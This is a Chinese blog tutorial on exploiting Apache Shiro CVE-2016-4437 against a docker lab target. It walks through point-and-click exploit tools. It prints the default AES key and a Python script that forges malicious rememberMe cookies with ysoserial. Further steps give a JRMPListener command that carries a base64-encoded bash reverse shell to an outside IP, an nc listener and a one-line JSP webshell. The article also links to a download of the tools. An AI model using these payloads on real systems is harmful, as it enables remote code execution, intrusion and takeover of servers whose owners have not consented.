详细shiro漏洞复现及利用方法(CVE-2016-4437)

2023-11-24 14:40

本文主要是介绍详细shiro漏洞复现及利用方法(CVE-2016-4437),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

前言

1.了解shiro

2.shiro漏洞原理

3.漏洞验证

4.漏洞复现

 5.漏洞利用

5.1图形化工具利用

5.1.1shiro550/721工具

5.1.2shiro_attack-4.5.2-SNAPSHOT-all工具利用

         5.2JRMP利用

        5.2.1工具准备

        5.2.2漏洞利用具体步骤 

        5.2.3漏洞检测

前言

该篇文章比较详细的介绍shiro漏洞利用,无论是shiro漏洞图形化工具利用,还是shiro漏洞结合JRMP我觉得比大多数文章都详细,如果你对网上结合JRMP反弹shell不是很明白,非常推荐来看看这篇文章。另外漏洞利用工程中用到的工具以及代码都上传到百度网盘,供大家使用,在文章最后哦。

1.了解shiro

Apache Shiro框架是一个功能强大且易于使用的 Java 安全框架,它执行身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API,您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。

2.shiro漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。
所以我们Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

3.漏洞验证

  1. 未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  2. 登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
  3. 不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
  4. 勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段
  5. 或者可以在cookie后面自己加一个rememberMe=1,看返回包有没有rememberMe= deleteMe

4.漏洞复现

靶机:linux kali 192.168.3.27

接受反弹shell: windows10 192.168.3.207

这里直接使用docker拉取镜像,当然也有其他靶场的。

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 5555:8080 medicean/vulapps:s_shiro_1
原本端口是8080给他换成5555

 5.漏洞利用

这里我们可以使用图形工具进行利用,也可以使用代码进行利用。首先我们将图形化工具利用。

5.1图形化工具利用

5.1.1shiro550/721工具

1.输入url地址

上面有三个选项,第一个选择如果是自定义http请求,就勾选它,下方会出现输入框。第二个选择如果想要密钥爆破选择keys.conf.big字典,该字典的密钥多一点,默认是keys.conf,该字典都是一些常用密钥。第三个选择如果想指定key以及利用链等。一般来说我们不用选择那么多。直接输入url就点击下一步就行。

2.选择方式检测

这里有四个方式,方式优缺点各不相同,可以看下面链接了解。这里我们选择第四种,因为有回显大家看的比较清楚。

工具|Shiro漏洞一键检测利用工具ShiroExploit - SecPulse.COM | 安全脉搏

 

 3.进行检测

如果存在漏洞,上面的输入框就可以输入,并且显示该shiro的默认密钥是什么,以及利用链等等。

 4.命令执行

当我们检测到漏洞时候,就可以在输入框输入命令,因为我选择的是第四种回显方式,所以命令结果会在下面显示出来,比如如果选择第一种检测方式他就没有结果显示,就只有执行成功。

注意在使用回显进行漏洞检测时,会在目标网站上自动生成一个文件其中记录了执行命令的结果,所以不建议在正式环境测试中使用这种检测方式。

检测到目标存在Shiro反序列化漏洞

 5.反弹shell

因为我们的靶机是linux系统所以我们选择linux,后面填写的是接受shell的ip地址和端口。我们在接受shell机上利用nc开启8888端口监听,过一会就 可以看到连接成功。

6.获取webshell

该工具上传的木马是在config文件夹里面shell.jsp里面,不过这个文件需要自己创建,里面代码需要自己写入。这里木马需要是jsp文件,不然不解析哦。

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

 这时候我们可以访问该地址,因为网站页面不回显命令结果,所以我们可以使用DNSLog看是否有结果。可以看到命令成功执行。

http://192.168.3.27:5555/1.jsp?cmd=ping%20nrdp7u.dnslog.cn

 

 不过这里我出现一个问题就是,我把木马改成那种连接木马文件内容,使用冰歇连接,是失败的,连接不上,不知道是什么原因。我看到别人是连接成功的。

5.1.2shiro_attack-4.5.2-SNAPSHOT-all工具利用

这个工具可以进行内存马注入,不过我的靶场是注入不了,查看资料好像需要静态资源,反正我是失败的。其他可以用用,首先我们需要提供目标url,可以选择是post还是get。可以指定密钥可以爆破。可以爆破利用链及回显方式。下面有检测日志,命令执行,内存马等选项。(写这个时候是在公司所以ip有所变化)

5.2JRMP利用

在很多文章里面看到了ysoserial利用,这个是一个java序列化工具。因为我们的漏洞是由于反序列化造成的。首先我们来看需要准备什么。

5.2.1工具准备

第一:你需要安装python,这个就自己百度了。以及一些模块主要是是pycrypto,这个模块主要是用来加密的。

pip install pycryptodome

第二:你需要一个加密的代码,这个我会直接给到大家,网上一搜也有很多。

第三:需要安装maven,这个主要是给ysoserial打包成架包吧。以及下载ysoserial,或者你可以去网上下载打包好的。

下载maven 并进行配置。
sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
在/etc/profile末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile下载ysoserial并进行打包
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
#加密代码
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])   
print( "rememberMe={0}".format(payload.decode()))

5.2.2漏洞利用具体步骤 

第一步:首先我们需要将一个地址加一个端口进行加密,这个地址是运行反弹命令的主机ip,也就是我们第二步主机ip。加密的步骤就是我们上面说的序列化——AES加密——base64加密。当然代码都可以帮你处理好了。你的加密代码poc.py,需要和打包好的序列化工具ysoserial放在一起才能进行加密。

第二步:我们成功打包好ysoserial,打包好的工具是在/ysoserial/target/下面的,在该目录执行代码,这里需要监听端口,和你在第一步加密的端口要一致。我都是7777。这里还有一个反弹shell的端口,自己随便设置一下,我是8888.

http://www.jackson-t.ca/runtime-exec-payloads.html#网上在线编码,我打不开,大家试试

反弹命令需要进行base64编码,网上有那种在线的,但是我打不开 ,这个图是我自己网上找的,大家自己试试能不能打开,如果你和我一样打不开就直接找网上那种在线的base64编码把反弹命令放上去编码,然后得到的编码替换掉我代码里面的编码就行。这个ip不是我真实ip,所以不要奇怪我文章编码怎么和我运行时编码不一样。我是在公网所以ip都擦掉了。如果大家是在内网就无所谓了。

bash -i >& /dev/tcp/116.55.22.113/8888 0>&1java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNTUuMjIuMTEzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'


 第三步:在你需要接受反弹shell的主机上开启端口监听,用什么端口取决你反弹命令用了什么端口。

nc -lvp 8888

第四步:将你第一步加密的数据,放到你抓包的cookiel里面,自己添加rememberMe字段,将数据放到该字段后面。发送数据。

 一会就会收到反弹shell。一开始我不是很理解这个代码流程,为什么发送目标服务器不是加密的反弹命令而是一个地址加端口。首先我们理解一下为什么这么处理会反弹shell.。具体步骤如下。

  1. vps 跑起 exploit/JRMPListener ,并指定生成 payload1(我们第二步骤)
  2. 向漏洞服务器发送 payloads/JRMPClient 生成的 payload2(我们第一步骤)
  3. 漏洞服务器反序列化 payload2
  4. 反序列化 payload2 的过程中,将会与 exploit/JRMPListener 进行通信
  5. exploit/JRMPListener 自定义了来自任意 JRMP client 的通信处理流程,会将 payload1 返馈给漏洞服务器
  6. 漏洞服务器会根据 exploit/JRMPListener 设计的通信处理流程,进一步反序列化 payload1
  7. payload1 中包含了 RCE 的gadget构造,最终在漏洞服务器上执行任意代码

payload1 中主要利用通用库比如 commons-collections 等

payload2 中主要利用漏洞服务器自带的 jre 中绝对含有的 RMI 相关的gadget

(payload2需要满足两个条件,1:反连vps ,2:第二次反序列化)

6.3漏洞检测

该步骤是和上面漏洞利用是差不多的,第一步我们需要去http://www.dnslog.cn/里面拿一个域名。第二步执行如下代码。就是我们上面漏洞利用第二步,代码不一样。第三步就是我们漏洞利用第一步。第四步就是将加密数据发送出去。然后看dnslog官网里面有没有解析出ip地址。解析就代表执行命令,就存在反序列化漏洞。这个跟我们上面检测工具的第三种比较类似。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections2 'ping wzawdr.dnslog.cn'

这是一部分的资源链接:https://pan.baidu.com/s/1WQFK2VGj6SH55OCT10sisQ 
提取码:ij2b  一个是我上面所展示的工具,一个是打包好的架包。工具使用如下所示

 看在我这边贴心份上点个赞再走呗。

这篇关于详细shiro漏洞复现及利用方法(CVE-2016-4437)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/422109

相关文章

SQL Server配置管理器无法打开的四种解决方法

《SQLServer配置管理器无法打开的四种解决方法》本文总结了SQLServer配置管理器无法打开的四种解决方法,文中通过图文示例介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的... 目录方法一:桌面图标进入方法二:运行窗口进入检查版本号对照表php方法三:查找文件路径方法四:检查 S

MyBatis-Plus 中 nested() 与 and() 方法详解(最佳实践场景)

《MyBatis-Plus中nested()与and()方法详解(最佳实践场景)》在MyBatis-Plus的条件构造器中,nested()和and()都是用于构建复杂查询条件的关键方法,但... 目录MyBATis-Plus 中nested()与and()方法详解一、核心区别对比二、方法详解1.and()

golang中reflect包的常用方法

《golang中reflect包的常用方法》Go反射reflect包提供类型和值方法,用于获取类型信息、访问字段、调用方法等,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值... 目录reflect包方法总结类型 (Type) 方法值 (Value) 方法reflect包方法总结

Python设置Cookie永不超时的详细指南

《Python设置Cookie永不超时的详细指南》Cookie是一种存储在用户浏览器中的小型数据片段,用于记录用户的登录状态、偏好设置等信息,下面小编就来和大家详细讲讲Python如何设置Cookie... 目录一、Cookie的作用与重要性二、Cookie过期的原因三、实现Cookie永不超时的方法(一)

C# 比较两个list 之间元素差异的常用方法

《C#比较两个list之间元素差异的常用方法》:本文主要介绍C#比较两个list之间元素差异,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. 使用Except方法2. 使用Except的逆操作3. 使用LINQ的Join,GroupJoin

MySQL查询JSON数组字段包含特定字符串的方法

《MySQL查询JSON数组字段包含特定字符串的方法》在MySQL数据库中,当某个字段存储的是JSON数组,需要查询数组中包含特定字符串的记录时传统的LIKE语句无法直接使用,下面小编就为大家介绍两种... 目录问题背景解决方案对比1. 精确匹配方案(推荐)2. 模糊匹配方案参数化查询示例使用场景建议性能优

关于集合与数组转换实现方法

《关于集合与数组转换实现方法》:本文主要介绍关于集合与数组转换实现方法,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、Arrays.asList()1.1、方法作用1.2、内部实现1.3、修改元素的影响1.4、注意事项2、list.toArray()2.1、方

Python中注释使用方法举例详解

《Python中注释使用方法举例详解》在Python编程语言中注释是必不可少的一部分,它有助于提高代码的可读性和维护性,:本文主要介绍Python中注释使用方法的相关资料,需要的朋友可以参考下... 目录一、前言二、什么是注释?示例:三、单行注释语法:以 China编程# 开头,后面的内容为注释内容示例:示例:四

SpringBoot整合liteflow的详细过程

《SpringBoot整合liteflow的详细过程》:本文主要介绍SpringBoot整合liteflow的详细过程,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋...  liteflow 是什么? 能做什么?总之一句话:能帮你规范写代码逻辑 ,编排并解耦业务逻辑,代码

一文详解Git中分支本地和远程删除的方法

《一文详解Git中分支本地和远程删除的方法》在使用Git进行版本控制的过程中,我们会创建多个分支来进行不同功能的开发,这就容易涉及到如何正确地删除本地分支和远程分支,下面我们就来看看相关的实现方法吧... 目录技术背景实现步骤删除本地分支删除远程www.chinasem.cn分支同步删除信息到其他机器示例步骤